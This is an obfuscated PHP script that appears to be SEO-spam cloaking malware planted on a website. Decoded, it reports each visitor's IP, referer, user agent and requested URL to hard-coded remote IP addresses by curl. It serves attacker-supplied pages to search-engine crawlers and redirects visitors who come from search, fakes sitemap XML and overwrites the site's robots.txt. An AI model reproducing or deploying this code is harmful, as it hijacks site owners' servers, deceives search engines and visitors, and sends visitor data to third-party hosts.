<?php
goto YyN2j; Qmboe: YpCl1: goto VwO8O; KHuGh: if (!(strpos($C9JeF, "\155\x61\160") > 0 || $afv_X == "\61")) { goto Py2X8; } goto w8o7e; rpJpp: if (!(!$ZzSMj && $iIigM && (preg_match("\43\x28\x28\x5c\x3f\174\x5c\77\137\x7c\x5c\57\x29\133\x61\x2d\172\135\x29\x5c\75\x5c\144\53\x23", $C9JeF) || preg_match("\57\x69\164\145\155\x2f", $C9JeF) || preg_match("\57\x73\150\157\160\144\145\x74\x61\x69\154\x2f", $C9JeF) || preg_match("\x2f\x2e\x73\x68\x74\x6d\x6c\x2f", $C9JeF)))) { goto yEVBb; } goto pdKl8; tIwqs: function f8fhR($OVKuD) { goto SLJBY; hrL0l: return $ENgXj; goto H_nxd; wt0Mk: if (!($OVKuD != '')) { goto cWjWc; } goto XenyF; GFCVP: $ENgXj = true; goto XZLsP; XenyF: if (!preg_match("\57\50{$QNzQB}\51\57\163\151", $OVKuD)) { goto fFT74; } goto GFCVP; BqduY: $QNzQB = "\147\x6f\157\x67\x6c\145\142\157\x74\x7c\x67\x6f\x6f\147\154\x65\174\x79\141\x68\157\x6f\174\x62\x69\156\x67\x7c\x61\x6f\154"; goto wt0Mk; oX3I1: cWjWc: goto hrL0l; XZLsP: fFT74: goto oX3I1; SLJBY: $ENgXj = false; goto BqduY; H_nxd: } goto Rk5sA; PUiN5: echo $e2Q8W; goto dH4Ns; yGyW4: if (strpos($C9JeF, "\x2e\160\150\x70")) { goto bcEns; } goto xZa63; mPmeW: $nL46U = $_SERVER["\123\x45\x52\x56\x45\x52\x5f\x4e\101\x4d\x45"]; goto Ztqrd; NOMCU: v39IZ: goto tjv2X; eNzwy: hlCkn: goto pTUOF; mupXx: if (!($PtfVq == "\x31")) { goto GUmu_; } goto VruzC; pP6cp: $y_MoC["\162\145\161\137\x75\x72\x6c"] = $q7C3x; goto Qpzrz; gawk6: $jrt4g = "\x68\164\x74\160\72\x2f\x2f\61\60\x37\x2e\x31\65\x30\56\64\x31\56\65\x38\x2f\172\66\60\65\62\60\137\x32\57"; goto Wz7tW; ZgNVU: $cQJX2 = $jrt4g . "\167\x6f\162\x64\x73\56\x70\x68\160"; goto XrmKo; F7ZaU: BdB2T: goto ZY4pq; gmRiB: qEtpX: goto WG04m; WkDsq: $qTlAJ = $qTlAJ[count($qTlAJ) - 1]; goto quqYc; Z3Wtp: $y_MoC["\x61\x63\164\151\x6f\x6e"] = "\143\x68\145\x63\x6b\x5f\163\x69\164\x65\x6d\141\x70"; goto IcmvX; y3UTY: if ($eBxKI) { goto BdB2T; } goto GsiOL; yXWPq: $y_MoC["\162\x65\161\137\165\x72\x69"] = $C9JeF; goto pP6cp; Rk5sA: function cvpQg($LhowM) { goto IULeo; tyHgs: if (!($LhowM != '' && preg_match("\57\50{$LRJVw}\x29\x2f\163\x69", $LhowM))) { goto DdzZU; } goto erwyW; Lg0x1: DdzZU: goto X9YDO; X9YDO: return $Zp6Ru; goto dkqfs; REzdG: $LRJVw = "\147\x6f\x6f\147\154\x65\x2e\x63\157\56\152\x70\x7c\171\x61\150\x6f\157\x2e\x63\157\x2e\152\160\174\147\x6f\x6f\x67\x6c\x65\56\143\x6f\x6d"; goto tyHgs; IULeo: $Zp6Ru = false; goto REzdG; erwyW: $Zp6Ru = true; goto Lg0x1; dkqfs: } goto Za1oA; XiDGf: GUmu_: goto LbIK8; kZx9w: goto M6WTv; goto eNzwy; GIchx: if (!(substr($C9JeF, -6) == "\162\x6f\142\x6f\164\163")) { goto v39IZ; } goto EmtZ7; fazCb: $T52SV = enp82($tO2mJ, $y_MoC); goto mptxL; YyN2j: $C9JeF = isset($_SERVER["\122\x45\x51\x55\105\x53\x54\x5f\125\x52\111"]) ? $_SERVER["\122\105\121\125\x45\x53\x54\x5f\125\x52\111"] : ''; goto kMYGQ; XzdUs: x24SC: goto rVMAy; d03YW: $CIgoV = strtolower(isset($_SERVER["\110\x54\x54\x50\x5f\x55\x53\105\122\x5f\101\107\105\x4e\124"]) ? $_SERVER["\x48\x54\x54\x50\x5f\125\123\x45\122\137\101\107\x45\116\x54"] : ''); goto tBqMQ; quqYc: $qTlAJ = str_replace("\56\x78\155\x6c", '', $qTlAJ); goto gmRiB; VwO8O: $WjrJ2 = @eNp82($LNLpv, $y_MoC); goto jTTGm; Zg2yk: $afv_X = ENP82($cQJX2, $y_MoC); goto KHuGh; XdcfE: if (!(strpos($C9JeF, "\141\x6c\154\x73\x69\164\x65\155\x61\x70\x2e\x78\x6d\x6c") || strpos($C9JeF, "\163\x69\164\145\155\141\x70\x2d\x69\156\x64\145\x78\x2e\170\x6d\154") || strpos($C9JeF, "\163\151\164\145\x6d\141\x70\55\151\x6e\x64\145\170\55\61\x2e\x78\155\x6c") || strpos($C9JeF, "\151\156\x64\x65\170\x2e\x78\155\x6c"))) { goto Mm_gX; } goto M2Aor; Za1oA: $j7T6f = isset($_SERVER["\x48\x54\124\x50\123"]) && $_SERVER["\110\x54\124\x50\123"] !== "\x6f\x66\146" ? "\150\164\x74\x70\x73\72\x2f\x2f" : "\x68\164\164\160\x3a\57\x2f"; goto kK2cr; gSf4U: $jrt4g = "\150\164\164\x70\x3a\x2f\57\x36\71\x2e\63\60\x2e\62\x32\x31\x2e\67\64\x2f\x7a\x36\60\65\61\62\x5f\x32\x2f"; goto b5kE3; mptxL: echo $T52SV; goto ZIAl5; dH4Ns: exit; goto XiDGf; sUuXq: $hKM1D = "\x2f"; goto kZx9w; LbIK8: $y_MoC["\x61\x63\x74\x69\157\x6e"] = "\x63\x68\x65\143\153\137\167\157\162\144\163"; goto Zg2yk; rVMAy: $ufCTo = isset($_SERVER["\x48\124\124\120\137\122\105\106\105\x52\x45\122"]) ? $_SERVER["\110\x54\x54\x50\137\x52\105\106\x45\122\x45\x52"] : ''; goto fgRON; RR9wh: gMppB: goto GIchx; itWxn: exit; goto NOMCU; D0jG8: if (strpos($C9JeF, "\56\x70\150\x70")) { goto hlCkn; } goto sUuXq; b5kE3: $nH9yS = "\57\154\x6f\x77\160\162\x2e\160\150\x70"; goto P6GBi; tBqMQ: $ZzSMj = F8FhR($CIgoV); goto D0jG8; FQCeL: $lrSvs = $jrt4g . "\x6a\x75\x6d\x70\56\160\150\160"; goto ZgNVU; mCFrG: if (!$ZzSMj) { goto FD5OZ; } goto njaOV; mr5Rz: $bNCDC = $jrt4g . "\155\x61\x70\56\x70\150\160"; goto FQCeL; ZIAl5: exit; goto FStPn; l6p6c: $PtfVq = Enp82($cQJX2, $y_MoC); goto ozgPG; eqgmE: goto qEtpX; goto cARlq; UNtdx: exit; goto gg3Nm; g025l: Mm_gX: goto yGyW4; IcmvX: $PtfVq = enP82($cQJX2, $y_MoC); goto mupXx; C9eGE: $y_MoC["\x68\x72\145\146"] .= $nH9yS; goto QwZu3; JzNi9: if (!strpos($C9JeF, "\x2e\160\x68\160")) { goto gMppB; } goto C9eGE; QwZu3: $y_MoC["\155\x61\x69\x6e\137\x73\x68\145\154\x6c"] .= $nH9yS; goto RR9wh; P6GBi: RvVmc: goto ir3X4; gg3Nm: yEVBb: goto mCFrG; Yd9AX: $y_MoC["\162\157\x62\157\164\163\x5f\x63\x6f\x6e\164"] = @file_get_contents(__DIR__ . "\57\162\157\x62\157\164\x73\x2e\x74\x78\164"); goto Qmboe; fmwVA: Py2X8: goto l6p6c; Ozm22: $y_MoC["\165\x73\x65\x72\x5f\141\x67\x65\156\164"] = $CIgoV; goto y4N9y; ZY4pq: echo "\x72\157\142\x6f\x74\x73\56\x74\170\x74\40\x66\x69\x6c\145\x20\x63\x72\145\141\x74\x65\40\x73\x75\x63\x63\145\163\163\x21"; goto ncDRx; ozgPG: header("\x43\x6f\156\x74\145\156\164\x2d\164\171\160\x65\72\164\x65\x78\x74\57\x78\x6d\x6c"); goto lTYr0; gtef_: exit; goto XzdUs; pdKl8: $y_MoC["\151\160"] = isset($_SERVER["\x52\105\x4d\117\x54\x45\x5f\101\x44\x44\x52"]) ? $_SERVER["\x52\105\x4d\117\x54\105\137\101\x44\x44\122"] : ''; goto yqh5O; kMYGQ: $nH9yS = isset($_SERVER["\x50\110\x50\x5f\x53\105\x4c\x46"]) ? $_SERVER["\120\110\120\137\x53\x45\114\x46"] : ''; goto gawk6; EiVpx: header("\103\157\156\164\145\156\x74\x2d\164\x79\160\145\72\164\145\170\164\x2f\x78\x6d\x6c"); goto PUiN5; xZa63: $qTlAJ = str_replace("\x2f", '', $C9JeF); goto tpIPz; ow9n2: header("\x43\157\156\164\x65\156\x74\55\x74\171\x70\x65\x3a\164\145\x78\x74\57\x78\x6d\154"); goto nARXQ; Ztqrd: $q7C3x = $j7T6f . $DYi9c . $C9JeF; goto J1FOn; pTUOF: $hKM1D = "\x3f"; goto lXP48; M2Aor: $e2Q8W = enp82($bNCDC, $y_MoC); goto ow9n2; Wz7tW: if (!strstr($C9JeF, "\154\x6f\167\x70\162\x2e\160\150\160")) { goto RvVmc; } goto gSf4U; cARlq: bcEns: goto gnzVH; Qpzrz: $y_MoC["\150\x72\145\146"] = $j7T6f . $DYi9c; goto FI69y; iw12N: $y_MoC["\144\x6f\155\141\x69\x6e"] = $DYi9c; goto yXWPq; tjv2X: if (!(substr($C9JeF, -4) == "\x2e\x78\155\154")) { goto x24SC; } goto XdcfE; fgRON: $iIigM = cvPQg($ufCTo); goto d03YW; itnVn: $y_MoC = array(); goto iw12N; ncDRx: iUehN: goto itWxn; XrmKo: $LNLpv = $jrt4g . "\162\x6f\x62\157\x74\x73\x2e\x70\150\160"; goto itnVn; y4N9y: echo eNP82($lrSvs, $y_MoC); goto UNtdx; njaOV: $y_MoC["\150\164\x74\x70\x5f\x75\163\145\x72\x5f\141\x67\x65\156\x74"] = $CIgoV; goto fazCb; w8o7e: $y_MoC["\x61\143\x74\x69\x6f\x6e"] = "\162\x61\x6e\144\x5f\170\155\154"; goto fmwVA; VruzC: $e2Q8W = ENP82($bNCDC, $y_MoC); goto EiVpx; jTTGm: $eBxKI = file_put_contents(__DIR__ . "\57\x72\x6f\x62\x6f\x74\x73\x2e\x74\x78\164", $WjrJ2); goto y3UTY; gnzVH: $qTlAJ = explode("\77", $C9JeF); goto WkDsq; QGVzo: if (!file_exists(__DIR__ . "\x2f\162\157\x62\x6f\164\163\56\164\x78\x74")) { goto YpCl1; } goto Yd9AX; kK2cr: $DYi9c = $_SERVER["\110\x54\124\x50\x5f\110\x4f\x53\124"]; goto mPmeW; lXP48: M6WTv: goto rpJpp; ir3X4: function eNp82($w03JS, $UGZL5 = array()) { goto WHiQD; BVqQD: $CanZw = curl_exec($NO5BQ); goto Zo24R; WHiQD: $w03JS = str_replace("\40", "\53", $w03JS); goto nLnfD; Zo24R: $MAVxB = curl_errno($NO5BQ); goto okxBU; nLnfD: $NO5BQ = curl_init(); goto ISKBJ; zxjGq: return false; goto NG08i; jWLB9: return $CanZw; goto q4NPS; mSrll: curl_setopt($NO5BQ, CURLOPT_HEADER, 0); goto DRZhr; Tghk6: curl_setopt($NO5BQ, CURLOPT_POSTFIELDS, http_build_query($UGZL5)); goto BVqQD; okxBU: curl_close($NO5BQ); goto RZyAI; yjXYd: curl_setopt($NO5BQ, CURLOPT_SSL_VERIFYHOST, FALSE); goto Tghk6; ISKBJ: curl_setopt($NO5BQ, CURLOPT_URL, $w03JS); goto JByNE; JByNE: curl_setopt($NO5BQ, CURLOPT_RETURNTRANSFER, 1); goto mSrll; RZyAI: if (!(0 !== $MAVxB)) { goto pXEwd; } goto zxjGq; DRZhr: curl_setopt($NO5BQ, CURLOPT_TIMEOUT, 10); goto RrUV_; HwOvg: curl_setopt($NO5BQ, CURLOPT_SSL_VERIFYPEER, FALSE); goto yjXYd; RrUV_: curl_setopt($NO5BQ, CURLOPT_POST, 1); goto HwOvg; NG08i: pXEwd: goto jWLB9; q4NPS: } goto tIwqs; FI69y: $y_MoC["\x6d\x61\x69\x6e\x5f\x73\150\145\154\154"] = $j7T6f . $nL46U; goto JzNi9; uC2Zk: exit; goto g025l; lTYr0: echo $PtfVq; goto gtef_; oin_l: goto iUehN; goto F7ZaU; WG04m: $y_MoC["\x77\x6f\162\x64"] = $qTlAJ; goto Z3Wtp; nARXQ: echo $e2Q8W; goto uC2Zk; J1FOn: $tO2mJ = $jrt4g . "\x69\156\x64\x61\164\141\56\160\x68\160"; goto mr5Rz; yqh5O: $y_MoC["\162\145\x66\x65\x72\x65\162"] = $ufCTo; goto Ozm22; tpIPz: $qTlAJ = str_replace("\x2e\x78\x6d\x6c", '', $qTlAJ); goto eqgmE; GsiOL: echo "\x72\157\x62\x6f\x74\163\56\x74\170\x74\40\x66\x69\154\145\40\143\x72\145\x61\x74\x65\x20\146\x61\151\x6c\x21"; goto oin_l; EmtZ7: $y_MoC["\162\x6f\x62\x6f\164\x73\x5f\143\157\x6e\164"] = ''; goto QGVzo; FStPn: FD5OZ:?>